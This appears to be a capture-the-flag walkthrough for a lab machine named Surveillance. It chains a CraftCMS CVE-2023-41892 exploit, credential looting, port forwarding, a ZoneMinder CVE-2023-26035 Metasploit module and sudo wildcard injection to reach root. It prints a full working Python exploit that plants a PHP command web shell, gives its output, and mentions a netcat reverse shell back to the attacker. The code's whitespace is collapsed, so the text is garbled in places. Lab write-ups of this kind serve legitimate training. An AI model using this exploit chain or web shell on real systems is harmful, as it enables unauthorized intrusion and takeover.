This is an Ubuntu machine running a web site built with a vulnerable version of CraftCMS (CVE-2023-41892). This can be exploited to get an initial shell, then move laterally to SSH user using credentials found in the file system. To escalate privileges, we exploit a vulnerable ZoneMinder version (CVE-2023-26035) to move laterally to another user, then abuse an overly permissive sudo misconfiguration to get root.
The PoC cannot be used off-the-shelf, just need a small modification in line 25 (remove the proxies). The final working exploit code is the following.
import requestsimport reimport sysheaders ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"}defwritePayloadToTempFile(documentRoot): data ={"action":"conditions/render","configObject[class]":"craft\elements\conditions\ElementCondition","config":'{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'} files ={"image1": ("pwn1.msl","""<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/> <write filename="info:DOCUMENTROOT/cpresources/shell.php"> </image>""".replace("DOCUMENTROOT", documentRoot),"text/plain")} response = requests.post(url, headers=headers, data=data, files=files)defgetTmpUploadDirAndDocumentRoot(): data ={"action":"conditions/render","configObject[class]":"craft\elements\conditions\ElementCondition","config":r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'} response = requests.post(url, headers=headers, data=data) pattern1 =r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>' pattern2 =r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>' match1 = re.search(pattern1, response.text, re.DOTALL) match2 = re.search(pattern2, response.text, re.DOTALL)return match1.group(1), match2.group(1)deftrigerImagick(tmpDir): data ={"action":"conditions/render","configObject[class]":"craft\elements\conditions\ElementCondition","config":'{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:'+ tmpDir +r'/php*"}}}'} response = requests.post(url, headers=headers, data=data)defshell(cmd): response = requests.get(url +"/cpresources/shell.php", params={"cmd": cmd}) match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)if match: extracted_text = match.group(1).strip()print(extracted_text)else:returnNonereturn extracted_textif__name__=="__main__":if(len(sys.argv)!=2):print("Usage: python CVE-2023-41892.py <url>")exit()else: url = sys.argv[1]print("[-] Get temporary folder and document root ...") upload_tmp_dir, documentRoot =getTmpUploadDirAndDocumentRoot() tmpDir ="/tmp"if"no value"in upload_tmp_dir else upload_tmp_dirprint("[-] Write payload to temporary file ...")try:writePayloadToTempFile(documentRoot)except requests.exceptions.ConnectionError as e:print("[-] Crash the php process and write temp file successfully")print("[-] Trigger imagick to write shell ...")try:trigerImagick(tmpDir)except:passprint("[-] Done, enjoy the shell")whileTrue: cmd =input("$ ")shell(cmd)
To get the shell, just run the exploit with the host's URL and a www-data shell is returned.
> python3 exploit.py http://surveillance.htb[-] Get temporary folder and document root ...[-] Write payload to temporary file ...[-] Trigger imagick to write shell ...[-] Done, enjoy the shell$iduid=33(www-data) gid=33(www-data) groups=33(www-data)
Once inside the host, we find a MySQL backup in /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip. Just unzip it and dump the contents, we find a hash for user admin (matthew), which looks like SHA-256.
Forward internal port 8080 to Kali 8085 and browse the site with Firefox, a login portal appears. It seems a ZoneMinder server is running on host's port 8080.
Once installed, just start the framework, load the module and configure it properly. For this, just remember that, with the local port forwarding in place, now the victim's 8080 port is accessible from Kali's http://localhost:8085
Once the metepreter session is received, open a shell and find out it is running under the zoneminder user context.
This meterpreter shell is functional, but not interactive. The best option to upgrade the shell is to send a nc mkfifo reverse shell to Kali, then upgrade to TTY.
> python3 -c 'import pty;pty.spawn("/bin/bash");'CTRL-Z> sty raw -echo>export TERM=xterm
The resulting shell is interactive and can be used to do some enumeration in the ZoneMinder root directory /usr/share/zoneminder/www. Inside this location we launch a grep scan for clear text passwords in the file system.
A database.php file is reported in /usr/share/zoneminder/www/api/app/Config/database.php containing MySQL credentials; however, there is not anything useful in the database.
Moving forward, next step is to verify if zoneminder is a sudoer.
This means any user can run any binary called zm*.pl in the /usr/bin/ directory under the root context, no password will be prompted. Moreover, any option can be passed to the binary since a wildcard has been inserted in the /etc/sudoers file. This is a wide open configuration which can be abused using wildcard injection.
Now just run any zm* binary and inject a command calling the exploit, it will be executed under the root context. For example, using zmupdate with the --version=1 option will force the tool to upgrade the database, and it allows us to inject a command.